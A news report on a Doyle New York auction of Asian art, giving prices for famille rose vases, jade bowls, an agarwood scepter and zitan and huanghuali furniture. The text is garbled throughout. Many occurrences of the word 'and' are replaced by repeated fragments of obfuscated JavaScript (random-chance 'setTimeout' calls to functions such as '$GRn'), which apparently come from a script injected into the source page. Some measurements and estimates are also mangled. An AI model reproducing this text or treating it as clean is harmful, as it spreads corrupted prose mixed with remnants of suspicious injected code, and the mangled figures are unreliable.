NEW YORK CITY — Doyle New York’s Asian works of art auction on Monday, September 15, attracted strong competition from an international audience of bidders in the salesroom, on the telephones, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and live online. The sale offered over 350 lots showcasing the arts of China, Japan andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Southeast Asia from the Neolithic period through the Twentieth Century. Offerings included porcelain andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and pottery, jades, scholar’s objects, bronzes, screens, furniture andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and paintings.
Highlighting the sale was a pair of Nineteenth Century Chinese famille rose glazed porcelain covered vases that achieved $1,205,000, shattering its estimate of $10/15,000. Measuring 16 inches tall andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and bearing the Qianlong seal mark, the vases were decorated with blossoming branches on a turquoise ground.
Chinese jades in the sale featured a pair of Nineteenth Century white jade chrysanthemum-shape bowls from the collection of Jerome M. andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Rhoda S. Fischer. Measuring 67/8 inches in diameter, the bowls soared past their estimate of $30/50,000, fetching a surprising $100,000. From the same collection was a pair of Eighteenth Century light celadon jade cups, having a diameter of 4½ inches, that brought $56,250, doubling its low estimate.
The selection of Chinese scholars’ objects was highlighted by a Qing dynasty agarwood scepter measuring 17½ inches long. Elaborately carved as a fruiting gourd vine, the scepter achieved $81,250, many times over its $15/25,000 estimate.
Chinese furniture also performed strongly. A large zitan table trumped its $30/50,000 estimate to fetch $93,750 while a pair of Nineteenth–Twentieth Century huanghuali horseshoe back armchairs ($4/6,000) went for a surprising $56,250 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and an Eighteenth–Nineteenth Century hanghuali side table ($3/5,000) achieved $40,625.
With competitive bidding, the sale totaled $3,311,438, more than doubling its estimate of $1/1,5 million, with 79 percent sold by lot andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and 94 percent by value.
All prices reported include the buyer’s premium. For more information, 212-427-2730 or www.Doyle.com.